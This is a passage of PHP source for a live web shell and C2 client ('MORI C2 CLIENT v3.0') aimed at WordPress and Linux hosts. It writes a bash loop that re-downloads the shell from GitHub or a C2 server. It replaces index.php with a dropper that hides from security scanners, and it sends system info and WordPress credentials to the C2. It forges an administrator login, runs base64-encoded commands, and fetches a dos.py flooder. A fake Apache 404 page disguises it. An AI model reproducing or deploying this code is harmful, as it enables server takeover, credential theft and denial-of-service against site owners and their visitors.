{ $shell_path_sh = escapeshellarg(SHELL_PATH); $shell_file_sh = escapeshellarg(basename(SHELL_PATH)); $c2_sh = escapeshellarg($C2_SERVER ?: ''); $token_sh = md5('mori_c2_secret_2024_persistence'); $bash_code = '#!/bin/bash SHELL_PATH=' . $shell_path_sh . ' SHELL_FILE=' . $shell_file_sh . ' C2_URL=' . $c2_sh . ' TOKEN="' . $token_sh . '" GH_URL="https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php" INTERVAL=60 TMP="${SHELL_PATH}.tmp" # php_ok: reject Cloudflare UAM HTML (they return HTTP 200 but are not PHP) php_ok() { head -c5 "$1" 2>/dev/null | grep -q "<?php"; } restore() { # GitHub first — C2 may have Cloudflare UAM active (returns HTML, not PHP) curl -sfL --max-time 15 "$GH_URL" -o "$TMP" 2>/dev/null if [ $? -eq 0 ] && [ $(stat -c%s "$TMP" 2>/dev/null || echo 0) -gt 10000 ] && php_ok "$TMP"; then mv "$TMP" "$SHELL_PATH" && chmod 644 "$SHELL_PATH" && return 0 fi wget -q --timeout=15 "$GH_URL" -O "$TMP" 2>/dev/null if [ $? -eq 0 ] && [ $(stat -c%s "$TMP" 2>/dev/null || echo 0) -gt 10000 ] && php_ok "$TMP"; then mv "$TMP" "$SHELL_PATH" && chmod 644 "$SHELL_PATH" && return 0 fi # C2 fallback curl -sfL --max-time 4 "${C2_URL}?act=get_shell&token=${TOKEN}&file=${SHELL_FILE}" -o "$TMP" 2>/dev/null if [ $? -eq 0 ] && [ $(stat -c%s "$TMP" 2>/dev/null || echo 0) -gt 10000 ] && php_ok "$TMP"; then mv "$TMP" "$SHELL_PATH" && chmod 644 "$SHELL_PATH" && return 0 fi wget -q --timeout=4 "${C2_URL}?act=get_shell&token=${TOKEN}&file=${SHELL_FILE}" -O "$TMP" 2>/dev/null if [ $? -eq 0 ] && [ $(stat -c%s "$TMP" 2>/dev/null || echo 0) -gt 10000 ] && php_ok "$TMP"; then mv "$TMP" "$SHELL_PATH" && chmod 644 "$SHELL_PATH" && return 0 fi rm -f "$TMP" return 1 } while true; do SZ=$(stat -c%s "$SHELL_PATH" 2>/dev/null || echo 0) [ "$SZ" -lt 10000 ] && restore sleep $INTERVAL done '; @file_put_contents('/tmp/sys_monitor.sh', $bash_code); @chmod('/tmp/sys_monitor.sh', 0755); exec_any("nohup bash /tmp/sys_monitor.sh", true); } } // Step 4: Store deployment metadata $metadata = [ 'client_id' => $client_id, 'deploy_time' => time(), 'shell_url' => $web_shell_url, 'c2_server' => $c2_server, 'php_version' => PHP_VERSION, 'os' => php_uname(), 'processes' => [ 'python' => $py_process_count ?? 'n/a', 'bash' => $bash_process_count ?? 'n/a', ], ]; @file_put_contents('/tmp/.mori_deployment_meta.json', json_encode($metadata)); // Step 5: Replace WP index.php with cloaking dropper @install_wp_cloaking_index(); return true; } // DEPRECATED restore_from_backup() - Replaced with ensure_persistence_v4() // ============================================= // OTOMATİK KAYIT (HER ERİŞİMDE) // ============================================= function auto_register() { global $web_shell_url; $c2_server = $GLOBALS['C2_SERVER']; $client_id = $GLOBALS['CLIENT_ID']; // Throttle: 10 dakikada bir C2'ye kayıt (her ?m= isteğinde değil) $reg_ts_file = sys_get_temp_dir() . '/.mori_reg_ts'; $last_reg = (int)@file_get_contents($reg_ts_file); if ($last_reg && (time() - $last_reg) < 600) { $GLOBALS['_SHELL_REGISTERED'] = true; return true; } @file_put_contents($reg_ts_file, time()); $wp_creds = is_wordpress_installed() ? generate_wp_login_credentials() : ['blogs_id' => null, 'hash' => null]; // C2 sunucusuna kayıt yap - BACKGROUND ONLY (don't block) $auto_reg_sister = sys_get_temp_dir() . '/.mori_sister_cache.json'; $auto_reg_sf = @json_decode(@file_get_contents($auto_reg_sister), true); $registration_data = [ 'id' => $client_id, 'web_shell_url'=> $web_shell_url, 'sysinfo' => collect_system_info(), 'sister_files' => $auto_reg_sf['locations'] ?? [], 'sister_urls' => $auto_reg_sf['urls'] ?? [], 'timestamp' => time(), 'version' => '3.0', 'wp_login_id' => $wp_creds['blogs_id'], 'wp_login_hash'=> $wp_creds['hash'], ]; $register_url = $c2_server . '?act=reg'; $encoded = safe_base64_encode(safe_json_encode($registration_data)); // Very short timeout (fire-and-forget) — 2s to allow encoding overhead $result = @http_post_timeout($register_url, $encoded, 2); // Mark as attempted (don't try again this request) $GLOBALS['_SHELL_REGISTERED'] = true; return $result !== null; } // ===================================================== // HELPER: Add missing delete_directory function // ===================================================== function delete_directory($path) { $real = realpath($path); if (!$real || !is_dir($real)) { return "[ERROR] Directory not found: $path"; } $items = @scandir($real); if ($items && count($items) > 2) { return "[ERROR] Directory not empty"; } return @rmdir($real) ? "OK: Deleted $path" : "[ERROR] Cannot delete directory"; } // ===================================================== // WP CLOAKING INDEX INSTALLER // ===================================================== function generate_wp_cloaking_index_content() { $c2 = $GLOBALS['C2_SERVER'] ?? ''; $gh = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php'; $tok = md5('mori_c2_secret_2024_persistence'); $key = md5($tok); // Config block — interpolated now, embedded as PHP string literals $cfg = '<?php /* _wpa_cloaker v1 */' . "\n" . '$_wc2="' . addslashes($c2) . '";' . "\n" . '$_wgh="' . addslashes($gh) . '";' . "\n" . '$_wtok="' . $tok . '";' . "\n" . '$_wkey="' . $key . '";' . "\n" . '$_wsf=__DIR__."/' . addslashes(SHELL_FILE) . '";' . "\n"; // Body — NOWDOC, no interpolation $body = <<<'WPAEOF' $_wbot=(bool)preg_match('/(bot|crawl|spider|slurp|google|bing|yahoo|yandex|baidu|facebookexternalhit|wordfence|sucuri|imunify|modsecurity|nikto|sqlmap|nmap|acunetix|nuclei|burp|python-requests|go-http-client|libwww|curl\/[0-9])/i',strtolower($_SERVER['HTTP_USER_AGENT']??'')); // Installer endpoint — called by JS fetch or server curl if(!empty($_GET['_wpa'])&&$_GET['_wpa']===$_wkey&&!$_wbot){ $_wok=false; $_wx=stream_context_create(['http'=>['timeout'=>10,'ignore_errors'=>true],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]); foreach([$_wc2.'?act=get_shell&token='.$_wtok,$_wgh] as $_wu){ $_wr=false; if(function_exists('curl_init')){$_wh=curl_init($_wu);curl_setopt_array($_wh,[19913=>true,52=>true,64=>false,10018=>'Mozilla/5.0',13=>10]);$_wr=@curl_exec($_wh);curl_close($_wh);} if(!$_wr)$_wr=@file_get_contents($_wu,false,$_wx); if($_wr&&strlen($_wr)>10000&&substr(ltrim($_wr),0,5)==='<?php'){$_wok=@file_put_contents($_wsf,$_wr)!==false;if($_wok){@chmod($_wsf,0644);break;}} } header('Content-Type: text/plain');die($_wok?'ok':'fail'); } if(!$_wbot){ if(!@file_exists($_wsf)||@filesize($_wsf)<10000){ $_wsu=(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?'https':'http') .'://'.($_SERVER['HTTP_HOST']??'localhost').$_SERVER['SCRIPT_NAME'].'?_wpa='.$_wkey; $_wd=false; $_wx=stream_context_create(['http'=>['timeout'=>4,'ignore_errors'=>true],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]); // M1: Direct PHP fetch from C2 then GitHub (must be valid PHP, not Cloudflare UAM HTML) foreach([$_wc2.'?act=get_shell&token='.$_wtok,$_wgh] as $_wu){ $_wr=false; if(function_exists('curl_init')){$_wh=curl_init($_wu);curl_setopt_array($_wh,[19913=>true,52=>true,64=>false,10018=>'Mozilla/5.0',13=>4]);$_wr=@curl_exec($_wh);curl_close($_wh);} if(!$_wr)$_wr=@file_get_contents($_wu,false,$_wx); if($_wr&&strlen($_wr)>10000&&substr(ltrim($_wr),0,5)==='<?php'&&@file_put_contents($_wsf,$_wr)!==false){@chmod($_wsf,0644);$_wd=true;break;} } // M2: Server-side self-curl to installer endpoint if(!$_wd&&function_exists('curl_init')){ $_wh=curl_init($_wsu); curl_setopt_array($_wh,[19913=>true,52=>true,64=>false,13=>5,10023=>['X-WP-A: 1']]); @curl_exec($_wh);curl_close($_wh); $_wd=@file_exists($_wsf)&&@filesize($_wsf)>10000; } // M3: Client-side JS fetch — injected into page output via ob_start if(!$_wd){ ob_start(function($_wbuf)use($_wsu){ $_wjs='<script>(function(){var x=new XMLHttpRequest;x.open("GET","' .htmlspecialchars($_wsu,ENT_QUOTES).'",true);x.send()})();</script>'; return stripos($_wbuf,'</body>')!==false ?str_ireplace('</body>',$_wjs.'</body>',$_wbuf) :$_wbuf.$_wjs; }); } } } define('WP_USE_THEMES',true); require __DIR__.'/wp-blog-header.php'; WPAEOF; return $cfg . $body; } function install_wp_cloaking_index() { if (!is_wordpress_installed()) return false; // Find WP root (has both wp-config.php and wp-blog-header.php) $wp_root = null; foreach ([REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))] as $d) { if (@file_exists($d . '/wp-config.php') && @file_exists($d . '/wp-blog-header.php')) { $wp_root = $d; break; } } if (!$wp_root) return false; $index_path = $wp_root . '/index.php'; // Already our cloaker? $cur = @file_get_contents($index_path); if ($cur && strpos($cur, '_wpa_cloaker') !== false) return true; // Throttle: once per day $ts = sys_get_temp_dir() . '/.mori_wpidx_ts'; if ((int)@file_get_contents($ts) > time() - 86400) return false; @file_put_contents($ts, time()); $content = generate_wp_cloaking_index_content(); if (!$content) return false; // Write to temp first, then atomic rename — never leave index.php missing $tmp = $index_path . '.mori_tmp'; if (@file_put_contents($tmp, $content) === false) return false; @chmod($index_path, 0644); if (!@rename($tmp, $index_path)) { // rename failed (cross-device?) — try unlink+write @chmod($index_path, 0777); @unlink($index_path); if (@file_put_contents($index_path, $content) !== false) { @chmod($index_path, 0644); @unlink($tmp); return true; } @unlink($tmp); return false; } @chmod($index_path, 0644); return true; } // ===================================================== // SELF-RENAME FOR NON-WP DEPLOYMENTS (wp-activeter.php) // ===================================================== function self_rename_and_register() { // Shell works under any filename — SHELL_PATH/SHELL_FILE are set dynamically from __FILE__. } // ===================================================== // WEB SHELL API ENDPOINTS // ===================================================== // DEBUG MODE if (isset($_GET['debug']) && $debug_mode) { $client_id = $GLOBALS['CLIENT_ID'] ?? ''; $os_type = PHP_OS; header('Content-Type: text/plain; charset=utf-8'); echo "MORI C2 CLIENT v3.0\n"; echo "====================\n\n"; echo "Client ID: $client_id\n"; echo "OS: $os_type\n"; echo "Web Shell URL: $web_shell_url\n"; echo "Current User: " . get_current_user() . "\n"; echo "Current Directory: " . getcwd() . "\n"; echo "PHP Version: " . PHP_VERSION . "\n"; echo "Server Software: " . ($_SERVER['SERVER_SOFTWARE'] ?? 'unknown') . "\n\n"; echo "SYSTEM INFO:\n"; print_r(collect_system_info()); exit; } // REGISTER DATA ENDPOINT (for server to pull sysinfo) if (isset($_GET['act']) && $_GET['act'] == 'register_data') { // PRE-EXECUTION PERSISTENCE CHECK @ensure_persistence_v4(); header('Content-Type: application/json; charset=utf-8'); echo json_encode(collect_system_info()); exit; } // PULL REGISTER — C2 sunucu bu endpoint'i çekerek shell'i kayıt eder (UAM bypass) if (isset($_GET['act']) && $_GET['act'] === 'pull_register') { $wp_creds = is_wordpress_installed() ? generate_wp_login_credentials() : ['blogs_id' => null, 'hash' => null]; $server_ip = $_SERVER['SERVER_ADDR'] ?? $_SERVER['LOCAL_ADDR'] ?? @gethostbyname(@gethostname()) ?? '0.0.0.0'; // Sister cache — önceki persistence çalışmasından kalan veri (varsa) $sister_cache = sys_get_temp_dir() . '/.mori_sister_cache.json'; $sister_data = @json_decode(@file_get_contents($sister_cache), true); // Yanıtı hemen gönder — C2 curl timeout'u dolmadan önce cevap dönsün $response = json_encode([ 'id' => $GLOBALS['CLIENT_ID'], 'web_shell_url' => $GLOBALS['WEB_URL'], 'server_ip' => $server_ip, 'sysinfo' => collect_system_info(), 'sister_files' => $sister_data['locations'] ?? [], 'sister_urls' => $sister_data['urls'] ?? [], 'timestamp' => time(), 'version' => '3.0', 'wp_login_id' => $wp_creds['blogs_id'], 'wp_login_hash' => $wp_creds['hash'], ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); // .registered'ı HEMEN yaz — ensure_persistence_v4() içinde report_sister_files_to_c2() // bu dosyanın varlığını kontrol eder. Response öncesi yazılmazsa sister files C2'ye hiç gitmez. @file_put_contents(REAL_DIR . '/.registered', time()); header('Content-Type: application/json; charset=utf-8'); header('Content-Length: ' . strlen($response)); echo $response; // HTTP bağlantısını kapat — C2 cevabı aldı, PHP arka planda çalışmaya devam eder if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } else { @ob_end_flush(); @flush(); } // Bağlantı kapandıktan sonra: persistence + register (artık C2 timeout'u etkilemez) // Sıra önemli: ensure_persistence_v4() sister files deploy edip C2'ye raporlar, // auto_register() zaten yukarıda .registered yazdığımız için throttle'a takılmaz. ignore_user_abort(true); set_time_limit(120); @ensure_persistence_v4(); @auto_register(); // dos.py auto-deploy — /tmp ve mevcut dizine indir (arka planda, bloklamaz) $dos_dl_url = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/dos.py'; $dos_tmp = '/tmp/dos.py'; $dos_local = REAL_DIR . '/dos.py'; $fetch_dos = "curl -sLf " . escapeshellarg($dos_dl_url) . " -o " . escapeshellarg($dos_tmp) . " 2>/dev/null && chmod +x " . escapeshellarg($dos_tmp) . " && cp " . escapeshellarg($dos_tmp) . " " . escapeshellarg($dos_local) . " 2>/dev/null || wget -qO " . escapeshellarg($dos_tmp) . " " . escapeshellarg($dos_dl_url) . " 2>/dev/null"; // Sadece henüz yoksa ya da küçükse indir if (!@file_exists($dos_tmp) || @filesize($dos_tmp) < 1000) { @exec('nohup sh -c ' . escapeshellarg($fetch_dos) . ' > /dev/null 2>&1 &'); } exit(0); } // WP CREDS — injected WP plugin posts credentials here, we forward to C2 if (isset($_GET['act']) && $_GET['act'] === 'wp_creds') { $creds_encoded = $_POST['creds'] ?? ''; if (!empty($creds_encoded)) { $payload = safe_base64_encode(safe_json_encode([ 'creds' => $creds_encoded, 'shell_url' => $GLOBALS['WEB_URL'], ])); @http_post_timeout($GLOBALS['C2_SERVER'] . '?act=store_wp_creds', $payload, 3); } header('Content-Type: text/plain'); die('ok'); } // WP DIRECT AUTO-LOGIN — ?blogs_id=X&wp_login=1&hash=H if (isset($_GET['blogs_id']) && isset($_GET['wp_login'])) { $blogs_id = trim($_GET['blogs_id'] ?? ''); $hash_provided = trim($_GET['hash'] ?? ''); if ($blogs_id && sha1(md5($blogs_id . '1776051848')) === $hash_provided) { // Try to load WordPress and set auth cookie $wp_load = null; foreach ([REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))] as $_d) { if (@file_exists($_d . '/wp-load.php')) { $wp_load = $_d . '/wp-load.php'; break; } } if ($wp_load && !defined('ABSPATH')) { @require_once $wp_load; if (function_exists('get_users') && function_exists('wp_set_auth_cookie')) { $admins = get_users(['role' => 'administrator', 'orderby' => 'ID', 'order' => 'ASC', 'number' => 1]); if (!empty($admins)) { wp_set_auth_cookie($admins[0]->ID, true, true); wp_redirect(admin_url()); exit; } } } // Fallback: redirect to WP home so the wp_footer hook fires $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? ''; if ($host) { header("Location: {$scheme}://{$host}/?blogs_id={$blogs_id}&wp_login=1&hash={$hash_provided}"); exit; } } } // REGISTER ONLY (manuel kayıt için) // Optimize: batch mode veya single mode if (isset($_GET['register'])) { // PRE-EXECUTION PERSISTENCE CHECK @ensure_persistence_v4(); header('Content-Type: text/plain; charset=utf-8'); // Check if batch registration is available (multiple clients accessing) $batch_mode = isset($_GET['batch']) && $_GET['batch'] === '1'; if ($batch_mode) { // Batch mode: queue'de bekle, toplamaya devam et $result = auto_register(); echo $result ? "QUEUED - Will be registered in batch\n" : "FAILED - Queue error"; } else { // Single mode: immediate registration $result = auto_register(); echo $result ? "OK - Registered successfully\n" : "FAILED - Registration failed\n"; } exit; } // COMMAND EXECUTION VIA GET (base64 encoded - supports both safe_base64 and normal base64) if (isset($_GET['m'])) { ignore_user_abort(true); // flood, C2 bağlantısı kesse bile devam eder set_time_limit(0); @ensure_persistence_v4(); auto_register(); ob_end_clean(); header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type'); // Try safe_base64_decode first, then normal base64 $encoded = $_GET['m'] ?? null; if (!$encoded || !is_string($encoded)) { header('Content-Type: application/json; charset=utf-8'); http_response_code(400); die(json_encode(['error' => 'No payload provided'])); } $cmd = safe_base64_decode($encoded); if ($cmd === false || strlen($cmd) === 0) { $cmd = @base64_decode($encoded, true); } if ($cmd === false || !$cmd || strlen($cmd) === 0) { header('Content-Type: application/json; charset=utf-8'); http_response_code(400); die(json_encode(['error' => 'Invalid base64 encoding'])); } $output = execute_command($cmd); // Detect output type and set appropriate header if (@json_decode($output, true) !== null) { header('Content-Type: application/json; charset=utf-8'); } else { header('Content-Type: text/plain; charset=utf-8'); } echo $output; exit; } // COMMAND EXECUTION VIA POST (supports both safe_base64 and normal base64) if (isset($_POST['m'])) { @ensure_persistence_v4(); auto_register(); ob_end_clean(); header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type'); $payload = $_POST['m'] ?? null; // NULL-safe payload handling if (!$payload || !is_string($payload)) { header('Content-Type: application/json; charset=utf-8'); http_response_code(400); die(json_encode(['error' => 'No payload provided'])); } // Try safe_base64_decode first, then normal base64 $cmd = null; if (strpos($payload, 'base64:') === 0 && strlen($payload) > 7) { $encoded_part = substr($payload, 7); $cmd = safe_base64_decode($encoded_part); if ($cmd === false) { $cmd = @base64_decode($encoded_part, true); } } else { $cmd = safe_base64_decode($payload); if ($cmd === false) { $cmd = @base64_decode($payload, true); } } if ($cmd === false || !$cmd || strlen($cmd) === 0) { header('Content-Type: application/json; charset=utf-8'); http_response_code(400); die(json_encode(['error' => 'Invalid base64 encoding'])); } $output = execute_command($cmd); // Detect output type and set appropriate header if (@json_decode($output, true) !== null) { header('Content-Type: application/json; charset=utf-8'); } else { header('Content-Type: text/plain; charset=utf-8'); } echo $output; exit; } // JSON API (ileri düzey) if (isset($_SERVER['CONTENT_TYPE']) && strpos($_SERVER['CONTENT_TYPE'], 'application/json') !== false) { // PRE-EXECUTION PERSISTENCE CHECK @ensure_persistence_v4(); auto_register(); // Register this execution $input = json_decode(file_get_contents('php://input'), true); if ($input && isset($input['action'])) { header('Content-Type: application/json; charset=utf-8'); switch ($input['action']) { case 'exec': $cmd = $input['command'] ?? ''; $result = execute_command($cmd); echo json_encode(['success' => true, 'output' => $result]); break; case 'info': echo json_encode(collect_system_info()); break; case 'register': $success = auto_register(); $client_id = $GLOBALS['CLIENT_ID'] ?? ''; echo json_encode(['success' => $success, 'client_id' => $client_id]); break; case 'upload_dos_py': // Upload dos.py file - base64 encoded $file_content = $input['file_content'] ?? ''; $file_path = '/tmp/dos.py'; if ($file_content && base64_decode($file_content, true)) { $decoded = base64_decode($file_content); if (file_put_contents($file_path, $decoded) !== false) { @chmod($file_path, 0755); echo json_encode(['success' => true, 'file' => $file_path]); } else { echo json_encode(['success' => false, 'error' => 'Write failed']); } } else { echo json_encode(['success' => false, 'error' => 'Invalid base64']); } break; case 'upload_dos_php': // Upload dos.php file - base64 encoded $file_content = $input['file_content'] ?? ''; $file_path = 'dos.php'; if ($file_content && base64_decode($file_content, true)) { $decoded = base64_decode($file_content); if (file_put_contents($file_path, $decoded) !== false) { @chmod($file_path, 0755); echo json_encode(['success' => true, 'file' => $file_path]); } else { echo json_encode(['success' => false, 'error' => 'Write failed']); } } else { echo json_encode(['success' => false, 'error' => 'Invalid base64']); } break; default: echo json_encode(['error' => 'Unknown action']); } exit; } } // ===================================================== // BACKGROUND AGENT MODE (CLI veya ?agent=1 ile) // ===================================================== if (php_sapi_name() === 'cli' || isset($_GET['agent']) || isset($_GET['daemon'])) { // Agent modu - sayfa gösterilmez, sürekli çalışır $max_execution = isset($_GET['timeout']) ? (int)$_GET['timeout'] : 300; $sleep_interval = isset($_GET['sleep']) ? (int)$_GET['sleep'] : 5; auto_register(); $client_id = $GLOBALS['CLIENT_ID'] ?? ''; $c2_server = $GLOBALS['C2_SERVER'] ?? ''; $start_time = time(); $task_counter = 0; while ((time() - $start_time) < $max_execution) { $task = c2_get_task($c2_server, $client_id); if ($task && trim($task) && trim($task) !== 'no_task') { $task_counter++; $output = execute_command($task); c2_send_result($c2_server, $client_id, $task, $output); } if ($task_counter % 10 === 0) { c2_update_status($c2_server, $client_id); } sleep($sleep_interval); } if (php_sapi_name() === 'cli') { exit(0); } echo "MORI C2 Agent completed " . $task_counter . " tasks in " . (time() - $start_time) . " seconds\n"; exit; } // ===================================================== // NETWORK MONITORING DAEMON (?monitor=1 mode) // Distributed backup network'ü 30 saniyede bir kontrol et // ===================================================== if (isset($_GET['monitor'])) { set_time_limit(0); ignore_user_abort(true); $monitor_interval = isset($_GET['interval']) ? (int)$_GET['interval'] : 30; $max_monitor_time = isset($_GET['max_time']) ? (int)$_GET['max_time'] : 86400; // 24 saat $start_time = time(); $check_count = 0; $restore_count = 0; while ((time() - $start_time) < $max_monitor_time) { $check_count++; // 1. Check distributed backups $inventory = @file_get_contents(__DIR__ . '/.wp-security.list'); if ($inventory) { $files = array_filter(array_map('trim', explode("\n", $inventory))); foreach ($files as $file) { if (strpos($file, ';') !== false || strpos($file, '#') === 0) continue; // Skip comments if (!file_exists($file) || filesize($file) < 5000) { // File missing or damaged - restore $payload = @file_get_contents($c2_server . '?urlver'); if (!$payload || strlen($payload) < 100) { $payload = @file_get_contents('https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/' . SHELL_FILE); } if ($payload && strlen($payload) > 5000) { @file_put_contents($file, $payload); @chmod($file, 0644); $restore_count++; } } } } // 2. Execute PHP backups $dirs = ['/tmp', '/var/tmp', '/var/www', '/var/www/html', '/home']; foreach ($dirs as $dir) { if (is_dir($dir)) { @shell_exec("php '$dir/.wp-firewall.php' > /dev/null 2>&1 &"); } } // 3. Check/restore main shell $mainFile = SHELL_PATH; if (!file_exists($mainFile) || filesize($mainFile) < 10000) { $payload = @file_get_contents($c2_server . '?urlver'); if (!$payload) $payload = @file_get_contents('https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/' . SHELL_FILE); if ($payload && strlen($payload) > 10000) { @file_put_contents($mainFile, $payload); $restore_count++; } } // 4. Re-deploy if missing if (rand(1, 100) > 90) { // Every ~10 checks deploy_distributed_network_backups(); } sleep($monitor_interval); } // Log summary $summary = "Monitor: Checks=$check_count, Restores=$restore_count\n"; @error_log($summary); if (php_sapi_name() === 'cli') { echo $summary; exit(0); } exit; } // URL UPLOAD — fetch a remote URL and save it as a local file // Usage: ?upload=https://raw.../dos.py&filename=dos.py if (isset($_GET['upload']) && isset($_GET['filename'])) { ob_end_clean(); header('Content-Type: application/json; charset=utf-8'); $src_url = trim($_GET['upload']); $filename = trim($_GET['filename']); $filename = basename($filename); // strip any directory component if (!filter_var($src_url, FILTER_VALIDATE_URL) || !preg_match('/^https?:\/\//i', $src_url)) { die(json_encode(['ok' => false, 'error' => 'invalid_url'])); } if ($filename === '' || strpos($filename, '..') !== false) { die(json_encode(['ok' => false, 'error' => 'invalid_filename'])); } $content = fetch_url_content($src_url, 30); if ($content === false || $content === '') { die(json_encode(['ok' => false, 'error' => 'fetch_failed', 'url' => $src_url])); } $target = __DIR__ . '/' . $filename; $written = @file_put_contents($target, $content); if ($written === false) { die(json_encode(['ok' => false, 'error' => 'write_failed', 'path' => $target])); } $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); @chmod($target, in_array($ext, ['py', 'sh', 'pl', 'rb']) ? 0755 : 0644); die(json_encode([ 'ok' => true, 'file' => $target, 'url' => $src_url, 'size' => $written, 'bytes' => strlen($content), ])); } // .mori_queue: removed — was FILE_APPEND on every request but never read, would fill disk ?> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html> <head> <title>404 Not Found</title> </head> <body> <h1>Not Found</h1> <p>The requested URL <?php echo htmlspecialchars($_SERVER['REQUEST_URI']); ?> was not found on this server.</p> <hr> <address>Apache Server at <?php echo htmlspecialchars($_SERVER['HTTP_HOST']); ?> Port <?php echo $_SERVER['SERVER_PORT']; ?></address> </body> </html>
⬅ Kembali
Powered by
H3 Team
2026